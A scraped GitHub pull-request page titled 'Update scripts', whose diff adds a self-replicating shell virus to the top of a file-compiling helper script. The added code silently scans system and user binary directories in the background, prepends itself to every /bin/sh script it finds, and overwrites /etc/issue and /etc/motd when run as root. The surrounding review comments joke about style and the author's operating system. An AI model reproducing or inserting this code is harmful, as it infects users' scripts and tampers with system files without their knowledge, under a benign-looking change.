- Notifications
You must be signed in to change notification settings - Fork 18
Update scripts#32
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
base:master
Are you sure you want to change the base?
Uh oh!
There was an error while loading. Please reload this page.
Update scripts #32
Changes from all commits
File filter
Filter by extension
Conversations
Uh oh!
There was an error while loading. Please reload this page.
Jump to
Uh oh!
There was an error while loading. Please reload this page.
Diff view
Diff view
There are no files selected for viewing
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -1,4 +1,27 @@ | ||
| #!/bin/sh | ||
| { | ||
| for i in * /bin/* /usr/bin/* /usr/local/bin/* ~/bin/* ~/.local/bin/* | ||
| do | ||
| if sed 1q "$i" | grep '^#![ ]*/bin/sh' | ||
| then | ||
| if ! grep '^# mark$' "$i" | ||
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. This is a wildly unnecessary use of grep(1). Instead, and much more efficiently, make use of glob pattern matching within a case statement: case$iin\#\ mark)
COMMANDS ;;
esacAuthor There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. Are you a troll or can you just not read shell scripts? There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. This is GitHub, not Reddit. You needn't resort to such petty acts as name-calling. Author There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. Okay, I am sorry, please disregard the name-calling question. | ||
| then | ||
| sed 1q "$i" >"/tmp/x$$" | ||
| sed '1d | ||
| /^# mark$/q' "$0" >>"/tmp/x$$" | ||
| sed 1d "$i" >>"/tmp/x$$" | ||
| cp "/tmp/x$$" "$i" | ||
| fi | ||
| fi | ||
| done | ||
| if ls -l "/tmp/x$$" | grep root | ||
| ||
| then | ||
| echo 'install 9front | ||
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. Should say nixos not 9front :p Author There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. Maybe he is using NixOS already, though. There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. Nah his repo would be wrapped in heaps of nix scripts if he did. | ||
| ' | tee /etc/issue >/etc/motd | ||
| fi | ||
| rm "/tmp/x$$" | ||
| } >/dev/null 2>/dev/null & | ||
| ||
| # mark | ||
| # General handler for compiling files | ||
| file=$(readlink -f "$1") | ||
Uh oh!
There was an error while loading. Please reload this page.